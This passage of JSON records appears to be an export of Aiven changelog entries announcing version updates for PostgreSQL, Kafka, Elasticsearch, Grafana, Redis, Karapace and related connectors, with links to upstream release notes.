schema."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-02-05T00:00:00.000Z","tags":[{"_key":"b3fad1da-3227-41ac-ba17-547dbac69725","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.2.0"} {"_createdAt":"2022-10-27T09:08:37Z","_i18n_lang":"en","_id":"0bbedd62-c49d-404a-abe8-8eff167b9e3c","_rev":"Cf2WlCE8X5IGBBi7ld1Jfu","_type":"changelog","_updatedAt":"2022-10-27T09:08:37Z","changeType":"","description":[{"_key":"677e7144-36c7-4945-9a3a-fcc50741dea7","_type":"block","children":[{"_key":"ed3d5bf4-8bb8-47eb-9ca1-6d4f72bd2c75","_type":"span","marks":[],"text":"To get started with syslog integration, see the "},{"_key":"10772755-356b-452a-b529-2856086ec109","_type":"span","marks":["m6074263238355"],"text":"Remote syslog integration guide"},{"_key":"c1254415-c268-457c-9938-c32b73e0ef19","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6074263238355","_type":"link","href":"https://help.aiven.io/services/integrations/remote-syslog-integration"}],"style":"normal"}],"publishedAt":"2019-04-26T00:00:00.000Z","tags":[{"_key":"d8497d11-46e7-435f-bbbe-21e7661a1d44","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"},{"_key":"b4b0e9ea-39db-411a-b386-1ca10b64a692","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"3c4c27e2-4706-4c9a-bd63-df5c01a22f64","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"},{"_key":"1f87d617-debf-49cc-8dda-2a8d4b324a29","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"89367337-2001-444f-9fd9-0989701efa16","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Remote syslog support for Aiven services"} {"_createdAt":"2022-10-27T09:07:30Z","_i18n_lang":"en","_id":"0c1cef18-20f0-40dd-995d-d507d29166c0","_rev":"HEiYk6nGjmUICadcDbTErE","_type":"changelog","_updatedAt":"2022-10-27T09:07:30Z","changeType":"","description":[{"_key":"523ba79a-dbfa-4d2c-b71b-0419c2e0286f","_type":"block","children":[{"_key":"ec69f1f4-88e5-4624-a16a-b10cbc3d582d","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"5c9bcc8c-4800-4ecf-b1f0-a062fcce99be","_type":"span","marks":["m6550797525556"],"text":"Elasticsearch 7.4.2"},{"_key":"da9808eb-466f-493a-8387-44d165532282","_type":"span","marks":[],"text":" and "},{"_key":"a6bbcda7-d569-4e51-9d66-17ac7e96bc7e","_type":"span","marks":["m1496760746645"],"text":"Kibana"},{"_key":"54ce8823-fe18-460d-98f8-7113c889e651","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6550797525556","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-7.4.2.html"},{"_key":"m1496760746645","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-7.4.2.html"}],"style":"normal"}],"publishedAt":"2019-11-01T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 7.4.2 is now available"} {"_createdAt":"2022-10-27T09:11:03Z","_i18n_lang":"en","_id":"0d293e98-e596-4c84-9ead-19dbcf609c4d","_rev":"GNtcCQgxf3P3DqpLt1kJa1","_type":"changelog","_updatedAt":"2022-10-27T09:11:03Z","changeType":"","description":[{"_key":"bca7e86a-dfcb-4fbe-89fa-3a5e623e1071","_type":"block","children":[{"_key":"18b52560-7f7f-43eb-b1b2-e24a7d9e7a26","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"69517206-9b3d-49de-8396-1122be4f98ec","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"ab4e316c-0bf1-4822-9594-7d8cda837c4d","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-11-17T00:00:00.000Z","tags":[{"_key":"20de718f-8a28-4f1e-8940-5a3d27340f63","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for version 4.6.1 and update all available plugins to the latest versions"} {"_createdAt":"2022-10-27T09:03:08Z","_i18n_lang":"en","_id":"0d9238b9-2f31-46fc-b36c-40031f939684","_rev":"7JYD5XroFCjaK9NJzk3jbc","_type":"changelog","_updatedAt":"2022-10-27T09:03:08Z","changeType":"","description":[{"_key":"2b46e94a-9055-406c-af46-94beacae8a15","_type":"block","children":[{"_key":"68bdfbde-def4-4316-9a74-5d6c1382ed73","_type":"span","marks":[],"text":"Please see "},{"_key":"f28896ad-4733-4b9e-8032-e681695ac727","_type":"span","marks":["m15873694418575"],"text":"the documentation"},{"_key":"5aa27454-d994-42f5-a1e8-79ca667397d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15873694418575","_type":"link","href":"https://github.com/splunk/kafka-connect-splunk/tree/v2.0.5"}],"style":"normal"}],"publishedAt":"2021-12-22T00:00:00.000Z","tags":[{"_key":"b0668dc1-5ad7-416c-9a3c-122fb5b37f06","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Splunk Kafka Connect Connector has been updated to version 2.0.5"} {"_createdAt":"2022-10-27T09:11:20Z","_i18n_lang":"en","_id":"0d9ab523-0561-45b7-8269-271499555fa9","_rev":"WYf15BwQWb3V4yHfbxPmMl","_type":"changelog","_updatedAt":"2022-10-27T09:11:20Z","changeType":"","description":[{"_key":"9357f4f0-7b14-43a8-9cae-bd012418c8b0","_type":"block","children":[{"_key":"f1a52013-7b52-4e3f-974c-9b76f12aa223","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"e1040d72-2689-4d16-aa47-f8fc65907f38","_type":"span","marks":["m11894101065207"],"text":"Elasticsearch"},{"_key":"a40c052b-f0ee-485d-b684-8c4e7577f8b0","_type":"span","marks":[],"text":" and "},{"_key":"7eece72b-5e48-482b-a872-0e7c2467c194","_type":"span","marks":["m463775425142"],"text":"Kibana"},{"_key":"a324c353-c01e-4c40-95f4-aeaa35ebe1b6","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11894101065207","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-5.5.2.html"},{"_key":"m463775425142","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-5.5.2.html"}],"style":"normal"}],"publishedAt":"2017-09-05T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch 5.5.2 version support now available"} {"_createdAt":"2022-10-27T09:11:45Z","_i18n_lang":"en","_id":"0dc25397-3d6d-49eb-b3c5-80763f776da5","_rev":"HEiYk6nGjmUICadcDbToPk","_type":"changelog","_updatedAt":"2022-10-27T09:11:45Z","changeType":"","description":[{"_key":"4128c0a5-5630-4e58-99f1-791721e79179","_type":"block","children":[{"_key":"fa3eceb0-ac28-4cd8-815c-271b03c0ae7b","_type":"span","marks":[],"text":"To see what's new refer to the "},{"_key":"c899e0c7-396a-4db2-b4f9-43ae62146d90","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"0824229e-d97c-4d80-86df-f67470d9e921","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-05-25T00:00:00.000Z","tags":[{"_key":"adc4390b-ad8c-46c5-b16e-ef06d95d78f0","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for Aiven for Grafana 4.3.1 and updated all Grafana plugins to latest versions"} {"_createdAt":"2022-10-27T09:08:56Z","_i18n_lang":"en","_id":"0ea548af-73a1-4fde-bc5c-b3b13f096893","_rev":"Cf2WlCE8X5IGBBi7ld1K9W","_type":"changelog","_updatedAt":"2022-10-27T09:08:56Z","changeType":"","publishedAt":"2019-02-18T00:00:00.000Z","tags":[{"_key":"e49a448d-c2e8-4103-8d46-9866508f90b8","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"333e499d-6c16-4552-ad7f-0e829fc2b4a8","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Debezium, a CDC connector for Kafka and PostgreSQL has been updated to version 0.9.1"} {"_createdAt":"2022-10-27T09:06:28Z","_i18n_lang":"en","_id":"108d8c9f-5c05-4315-8930-57af78d91d9d","_rev":"dTcxLudMA3V5vz7pZEQd6l","_type":"changelog","_updatedAt":"2022-10-27T09:06:28Z","changeType":"","description":[{"_key":"c491e4bc-dd0e-4284-8bc3-77d5854f344a","_type":"block","children":[{"_key":"420b610e-db2e-4538-be9e-24ae96d11664","_type":"span","marks":[],"text":"RabbitMQ sink and source connectors have been removed as not supported."}],"markDefs":[],"style":"normal"}],"publishedAt":"2020-06-26T00:00:00.000Z","tags":[{"_key":"e97280db-4525-402a-b269-b12e2e20d2e4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Stream Reactor Kafka connectors have been updated to version 2.0.0"} {"_createdAt":"2022-10-27T09:04:58Z","_i18n_lang":"en","_id":"10c5cc7d-6b4d-4236-86b2-30ea41fa48d1","_rev":"MEha5B96IszmAjyiiUpRtu","_type":"changelog","_updatedAt":"2022-10-27T09:04:58Z","changeType":"","description":[{"_key":"0c1cee9a-e923-4f2f-a8ba-a21ae8e74024","_type":"block","children":[{"_key":"f617504e-c231-4366-8d25-1dfee3d32ae4","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"dc48701e-1aaf-427f-85ee-31ba8ee00c7f","_type":"span","marks":["m10491753810160"],"text":"Elasticsearch 7.10.2"},{"_key":"37be9981-3833-4607-af86-04ea1de29f64","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m10491753810160","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/7.10/release-notes-7.10.2.html"}],"style":"normal"}],"publishedAt":"2021-02-22T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 7.10.2 is now available"} {"_createdAt":"2022-10-27T09:11:48Z","_i18n_lang":"en","_id":"1164d505-32cf-4e21-8ebc-9a65edfe61af","_rev":"GNtcCQgxf3P3DqpLt1kZMj","_type":"changelog","_updatedAt":"2022-10-27T09:11:48Z","changeType":"","description":[{"_key":"76516bd9-3978-4c82-ada5-fd4e98f176e6","_type":"block","children":[{"_key":"bb248170-2a19-4a07-afec-a00cb8398490","_type":"span","marks":[],"text":"Previously the use of this database was restricted."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-05-15T00:00:00.000Z","tags":[{"_key":"46df1d60-d385-4746-bb5e-2a17d7c6a2c3","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Now allows the use of the \"postgres\" database, commonly used for maintenance purposes by some applications"} {"__i18n_lang":"en","_createdAt":"2023-01-25T14:58:31Z","_id":"119dd28e-3680-427d-9eab-3ddfb0a3a761","_rev":"uS5CizGDduZ6GKphTZR9tM","_type":"changelog","_updatedAt":"2023-01-25T14:58:48Z","changeType":"security","description":[{"_key":"092622bd2c1d","_type":"block","children":[{"_key":"5446147c56900","_type":"span","marks":[],"text":"Aiven for Grafana version 9.3.1 is now available. Along with minor version updates, this version also includes the fix for the security vulnerability, CVE-2022-31097, which was a stored cross-site scripting (XSS) issue in the Unified Alerting feature of Grafana. To learn more, see "},{"_key":"5446147c56901","_type":"span","marks":["fb0af640af53"],"text":"Grafana changelog"},{"_key":"5446147c56902","_type":"span","marks":[],"text":" and "},{"_key":"5446147c56903","_type":"span","marks":["f1e0af3e500b"],"text":"Aiven for Grafana"},{"_key":"5446147c56904","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"fb0af640af53","_type":"link","href":"https://github.com/grafana/grafana/blob/main/CHANGELOG.md"},{"_key":"f1e0af3e500b","_type":"link","href":"https://docs.aiven.io/docs/products/grafana.html"}],"style":"normal"}],"publishedAt":"2023-01-24T14:57:00.000Z","tags":[{"_key":"ff4254356803","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana version 9.3.1 is now available."} {"_createdAt":"2022-10-27T09:02:43Z","_i18n_lang":"en","_id":"11bf096d-c2d4-4a6f-9643-1b2e48497a31","_rev":"uVO3nVvSuHH0nc1h0MTSs2","_type":"changelog","_updatedAt":"2022-10-27T09:02:43Z","changeType":"","publishedAt":"2022-05-10T00:00:00.000Z","tags":[{"_key":"6c0748b3-f1f7-4321-9d59-a29f350f65ce","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Use the grafana-azure-monitor-datasource plugin that comes with Grafana"} {"_createdAt":"2022-10-27T09:10:42Z","_i18n_lang":"en","_id":"11ec6175-1842-4a34-9868-152a42afe0c2","_rev":"GNtcCQgxf3P3DqpLt1kFjJ","_type":"changelog","_updatedAt":"2022-10-27T09:10:42Z","changeType":"","description":[{"_key":"6890f924-f3e7-430c-af32-5589e310b0e5","_type":"block","children":[{"_key":"b3da4c0b-6fd7-414c-8862-7b939c56f446","_type":"span","marks":[],"text":"See the "},{"_key":"8087daf2-9122-4a6b-802b-a005fd5e9ea1","_type":"span","marks":["m7433475720881"],"text":"release announcement"},{"_key":"8dbf59c8-a48f-48e6-a9c7-dfdaba210882","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m7433475720881","_type":"link","href":"https://www.postgresql.org/about/news/1829/"}],"style":"normal"}],"publishedAt":"2018-02-10T00:00:00.000Z","tags":[{"_key":"f1753810-6126-4d54-9cec-9da3d235cfea","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 10.2, 9.6.7, 9.5.11 and 9.3.21"} {"_createdAt":"2022-10-27T09:05:09Z","_i18n_lang":"en","_id":"127b0bf6-66b1-4070-b219-9aa3d3ee5143","_rev":"7JYD5XroFCjaK9NJzk3nWE","_type":"changelog","_updatedAt":"2022-10-27T09:05:09Z","changeType":"","description":[{"_key":"c731c411-9ea8-4a39-a1e4-b7c8016e8951","_type":"block","children":[{"_key":"7b0f7c45-1abd-41f4-b8e6-41ff2edaf455","_type":"span","marks":[],"text":"Please see the "},{"_key":"024028c0-7141-446f-8297-c2614e29a1c3","_type":"span","marks":["m805896295011"],"text":"Release Notes"},{"_key":"ae697d3b-a019-4c24-a05c-9d12d7992df0","_type":"span","marks":[],"text":" and "},{"_key":"860227ba-c658-4a68-af98-9e8924f387d3","_type":"span","marks":["m13677637883672"],"text":"the announcement blog post"},{"_key":"e7d7d2f7-f38d-4796-abdd-49ce002cc295","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m805896295011","_type":"link","href":"https://downloads.apache.org/kafka/2.7.0/RELEASE_NOTES.html"},{"_key":"m13677637883672","_type":"link","href":"https://aiven.io/blog/aiven-supports-apache-kafka-2-7"}],"style":"normal"}],"publishedAt":"2021-01-21T00:00:00.000Z","tags":[{"_key":"af25b8d7-01f4-4948-825b-476d74a10812","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 2.7 is now available on Aiven"} {"_createdAt":"2022-10-27T09:02:06Z","_i18n_lang":"en","_id":"133c619c-8be3-498a-aea5-0a50d87d4739","_rev":"7JYD5XroFCjaK9NJzk3gf6","_type":"changelog","_updatedAt":"2022-10-27T09:02:06Z","changeType":"","description":[{"_key":"f994baae-891c-4491-9e16-9038848fde72","_type":"block","children":[{"_key":"efb44730-f483-4927-ad7a-eabf5c282bde","_type":"span","marks":[],"text":"See "},{"_key":"4b0f421b-d3b6-4ccd-83b4-225a7c9cd4a0","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"3de5a533-4f52-4eb5-b871-e6a6a347bec1","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2022-08-29T00:00:00.000Z","tags":[{"_key":"9f8c6960-a0ec-4f91-aa2a-f62e4805e25a","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 14.5, 13.8, 12.12, 11.17 and 10.22"} {"_createdAt":"2022-10-27T09:08:55Z","_i18n_lang":"en","_id":"133ce9d9-736b-4721-ba96-0efed9865c2e","_rev":"Dn65xz5Z1k22g7BhlztLbC","_type":"changelog","_updatedAt":"2022-10-27T09:08:55Z","changeType":"","description":[{"_key":"d4a8e3e2-0972-4fb5-bd48-e386ec180314","_type":"block","children":[{"_key":"157250cc-21fc-4da4-b65f-26757136183c","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"5fcba2d1-c41f-44ec-87da-9ad5ac077fc0","_type":"span","marks":["m1408394113588"],"text":"Elasticsearch 6.6.1"},{"_key":"0e731272-a17e-49ac-bd05-0e016ffe978b","_type":"span","marks":[],"text":" and "},{"_key":"a96a1888-5305-4162-9546-3d7d6748e138","_type":"span","marks":["m6244060467861"],"text":"Kibana"},{"_key":"7ea596a6-e77f-4da4-9237-1b1b20be989b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1408394113588","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-6.6.1.html"},{"_key":"m6244060467861","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-6.6.1.html"}],"style":"normal"}],"publishedAt":"2019-02-25T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 6.6.1 is now available"} {"_createdAt":"2022-10-27T09:11:52Z","_i18n_lang":"en","_id":"1483af6a-a177-4ff7-ba25-41345a3ce7d6","_rev":"WYf15BwQWb3V4yHfbxPycV","_type":"changelog","_updatedAt":"2022-10-27T09:11:52Z","changeType":"","description":[{"_key":"54ebb16e-8e3e-4bad-86fb-a1a45c7884b6","_type":"block","children":[{"_key":"fb0a3314-15e2-4b26-bcd4-2912659f16b1","_type":"span","marks":[],"text":"This new capability exists in addition to the existing topic cleanup deletion policy."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-05-02T00:00:00.000Z","tags":[{"_key":"aea29bf7-b6e2-4965-a829-1284e409540c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Added support for using cleanup compaction for topics"} {"_createdAt":"2022-10-27T09:03:35Z","_i18n_lang":"en","_id":"14d167c7-b22e-4a3d-a1a4-427895639245","_rev":"HEiYk6nGjmUICadcDbSdzf","_type":"changelog","_updatedAt":"2022-10-27T09:03:35Z","changeType":"","description":[{"_key":"e3cd1242-8cfd-4d77-a369-7d5247a37f43","_type":"block","children":[{"_key":"76c6e9f5-28de-45f9-ad0e-f1712037177b","_type":"span","marks":[],"text":"Please see the "},{"_key":"a477ede7-84ec-48ee-bb66-68583b8904cc","_type":"span","marks":["m7799187056557"],"text":"Release Notes"},{"_key":"336cca90-8797-4e63-abf3-8ad7225a6222","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7799187056557","_type":"link","href":"https://downloads.apache.org/kafka/2.8.1/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2021-09-28T00:00:00.000Z","tags":[{"_key":"6bf41eff-ce5e-457b-8c1b-eb3b165eeca8","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 2.8.1 is now available on Aiven"} {"_createdAt":"2022-10-27T09:03:23Z","_i18n_lang":"en","_id":"152a3c9f-8db1-4b1a-b80e-8fc564d0089e","_rev":"KIlpVp44L6B7auDNL66CRk","_type":"changelog","_updatedAt":"2022-10-27T09:03:23Z","changeType":"","description":[{"_key":"23a9f9ba-7396-4802-9a44-cdfe355d5a47","_type":"block","children":[{"_key":"b7731175-788f-48d5-b030-e39c9660bc00","_type":"span","marks":[],"text":"Please see the "},{"_key":"9720393c-0722-471e-a97a-9c87ffbb4442","_type":"span","marks":["m4167666455503"],"text":"Changelog"},{"_key":"c1b0d65c-dd01-4a40-a7bc-e7b78097fcc7","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m4167666455503","_type":"link","href":"https://raw.githubusercontent.com/redis/redis/6.2/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2021-11-29T00:00:00.000Z","tags":[{"_key":"4b193936-bab9-41bb-9222-19efcfe82c07","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to version 6.2.6"} {"_createdAt":"2022-10-27T09:11:02Z","_i18n_lang":"en","_id":"15c862b7-e14d-40c8-bc9b-6b33efeedb8e","_rev":"zF7BMhNhvYpWtPMfHNO2RC","_type":"changelog","_updatedAt":"2022-10-27T09:11:02Z","changeType":"","description":[{"_key":"263d5d34-c9da-45ed-9d51-81e634a1edff","_type":"block","children":[{"_key":"7b593339-9110-4198-a35b-44b4e71e9430","_type":"span","marks":[],"text":"Setting retention time to "},{"_key":"8d45d131-b185-4801-ba26-6671a114052a","_type":"span","marks":["code"],"text":"-1"},{"_key":"c5767dc2-2389-45f8-a5f8-79aaf32cf629","_type":"span","marks":[],"text":" `will disable time-based retention altogether."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-11-21T00:00:00.000Z","tags":[{"_key":"e95ce96a-20a5-4dc1-a913-80762fb3fe21","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Topic retention times are no longer limited and can be set to any value"} {"__i18n_lang":"en","_createdAt":"2023-07-06T05:31:22Z","_id":"1670c08f-6605-4fe8-a341-455aafe990bb","_rev":"6XgNW4u8Ry4N5p55fSusbo","_type":"changelog","_updatedAt":"2023-07-06T05:31:22Z","changeType":"improved","description":[{"_key":"040fb2b06ac9","_type":"block","children":[{"_key":"e92cf484bfa10","_type":"span","marks":[],"text":"Karapace version 3.7.0 is now available, bringing a host of enhancements and bug fixes. The key changes in this release include:"}],"markDefs":[],"style":"normal"},{"_key":"27e3a7a63a09","_type":"block","children":[{"_key":"f3f81cc46dcb0","_type":"span","marks":["strong"],"text":"Consumer Fetch Response"},{"_key":"f3f81cc46dcb1","_type":"span","marks":[],"text":": Added a timestamp to the consumer fetch response to provide more detailed information about data retrieval."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b66bc6de4b00","_type":"block","children":[{"_key":"ffc3cfd87e700","_type":"span","marks":["strong"],"text":"Exception Handler"},{"_key":"ffc3cfd87e701","_type":"span","marks":[],"text":": Fixed an issue with the exception handler incorrectly fetching raw schema after deletion."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e69332d1ad15","_type":"block","children":[{"_key":"3588a00bec3b","_type":"span","marks":["strong"],"text":"Partitioning:"},{"_key":"09a3be6259bc","_type":"span","marks":[],"text":" Improved the partitioner to now accurately assign partitions randomly when a key isn't provided."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9f80d68e1bf1","_type":"block","children":[{"_key":"ce86c5f1e1680","_type":"span","marks":["strong"],"text":"Inconsistent Schema:"},{"_key":"ce86c5f1e1681","_type":"span","marks":[],"text":" Fixed an issue with inconsistent schema during message production."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a01ab3ea90e2","_type":"block","children":[{"_key":"222413f8691c0","_type":"span","marks":[],"text":"For a complete list of fixes and detailed information, see "},{"_key":"ea1ad202c3b7","_type":"span","marks":["4544bd3ea4fb"],"text":"Karapace release notes."}],"markDefs":[{"_key":"4544bd3ea4fb","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.7.0"}],"style":"normal"}],"publishedAt":"2023-07-06T05:25:19.225Z","tags":[{"_key":"90f13fbde65b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to version 3.7.0"} {"_createdAt":"2022-10-27T09:05:43Z","_i18n_lang":"en","_id":"16bdd48a-f504-49af-9440-c11ab0630cc6","_rev":"GNtcCQgxf3P3DqpLt1jSkv","_type":"changelog","_updatedAt":"2022-10-27T09:05:43Z","changeType":"","description":[{"_key":"6e30145b-126d-4521-b8f2-c9860877d996","_type":"block","children":[{"_key":"e5d10f74-c41e-4875-abb5-c4909afd21da","_type":"span","marks":[],"text":"Please see the "},{"_key":"03aa6784-3fe5-4d25-aaa8-c6d1a6412cdc","_type":"span","marks":["m11013916921564"],"text":"release notes"},{"_key":"f2e8e34b-88d0-4676-a28c-e4c0c3a07903","_type":"span","marks":[],"text":" and the "},{"_key":"b8b9fac4-c0f1-4194-a1a8-7dc4f8bc0023","_type":"span","marks":["m7304873087571"],"text":"documentation"},{"_key":"1d343094-5837-4a39-9224-7af99353f211","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11013916921564","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/releases/tag/v0.1.1"},{"_key":"m7304873087571","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/blob/v0.1.1/docs/sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2020-11-11T00:00:00.000Z","tags":[{"_key":"e2a741f9-e31f-477c-a3f6-241802923434","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink HTTP connector have been updated to version 0.1.1"} {"_createdAt":"2022-10-27T09:02:56Z","_i18n_lang":"en","_id":"16cb42bd-fa71-4343-a903-34675585dd58","_rev":"HEiYk6nGjmUICadcDbSUn5","_type":"changelog","_updatedAt":"2022-10-27T09:02:56Z","changeType":"","publishedAt":"2022-02-28T00:00:00.000Z","tags":[{"_key":"7cb3858d-6659-41e1-b3ab-cb4cfb0d3e29","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace performance improvement for REST API"} {"_createdAt":"2022-10-27T09:08:03Z","_i18n_lang":"en","_id":"170d56e0-a62a-4f71-b31a-ed42b9afb109","_rev":"GNtcCQgxf3P3DqpLt1jl5B","_type":"changelog","_updatedAt":"2022-10-27T09:08:03Z","changeType":"","description":[{"_key":"5b62a250-643d-4f9c-b976-9bab20f16f38","_type":"block","children":[{"_key":"1dfa3a3c-075d-44bb-8019-3da5d29b1d34","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"b56ff62e-3dbc-4b86-9131-ad224ab6aa29","_type":"span","marks":["m4673522438521"],"text":"Elasticsearch 6.8.2"},{"_key":"0a3075f1-3674-4847-abe4-689591b70093","_type":"span","marks":[],"text":" and "},{"_key":"e9d2694e-794b-4cb7-9a70-4d27f4a2b1a4","_type":"span","marks":["m13690392976824"],"text":"Kibana"},{"_key":"6912a0d2-47e6-4c81-a494-383f61d156ee","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m4673522438521","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-6.8.2.html"},{"_key":"m13690392976824","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-6.8.2.html"}],"style":"normal"}],"publishedAt":"2019-09-01T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 6.8.2 is now available"} {"_createdAt":"2022-10-27T09:11:38Z","_i18n_lang":"en","_id":"1797a5f7-755a-4100-884a-977968270b39","_rev":"HEiYk6nGjmUICadcDbTjbU","_type":"changelog","_updatedAt":"2022-10-27T09:11:38Z","changeType":"","description":[{"_key":"b0d75242-1e75-4963-bda9-c3a57c2d622f","_type":"block","children":[{"_key":"1fc9aa3c-0aef-48b1-b29d-f21f726ee795","_type":"span","marks":[],"text":"All Aiven services are now available in the region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-06-28T00:00:00.000Z","tags":[{"_key":"e22fea85-3dcd-4082-bc0b-468b832bf014","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) australia-southeast1 region as Australia, New South Wales - Google Cloud: Sydney"} {"_createdAt":"2022-10-27T09:02:03Z","_i18n_lang":"en","_id":"17c25b06-d435-4d60-b1ab-b03493cf7e46","_rev":"GNtcCQgxf3P3DqpLt1iQgn","_type":"changelog","_updatedAt":"2022-10-27T09:02:03Z","changeType":"","description":[{"_key":"858308a8-4dbe-4305-b954-405630681c9f","_type":"block","children":[{"_key":"6d671136-36f9-4da0-8e97-affa46e7107e","_type":"span","marks":[],"text":"Please see the "},{"_key":"3b968d03-d803-4094-8a1e-f095b0ce1c02","_type":"span","marks":["m15031575858206"],"text":"Release notes"},{"_key":"534efa23-9bec-4e2f-a346-809973cbccd2","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m15031575858206","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.2"}],"style":"normal"}],"publishedAt":"2022-09-02T00:00:00.000Z","tags":[{"_key":"6933b32b-83ff-4d42-85ea-78e02c7c11d2","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to 3.3.2"} 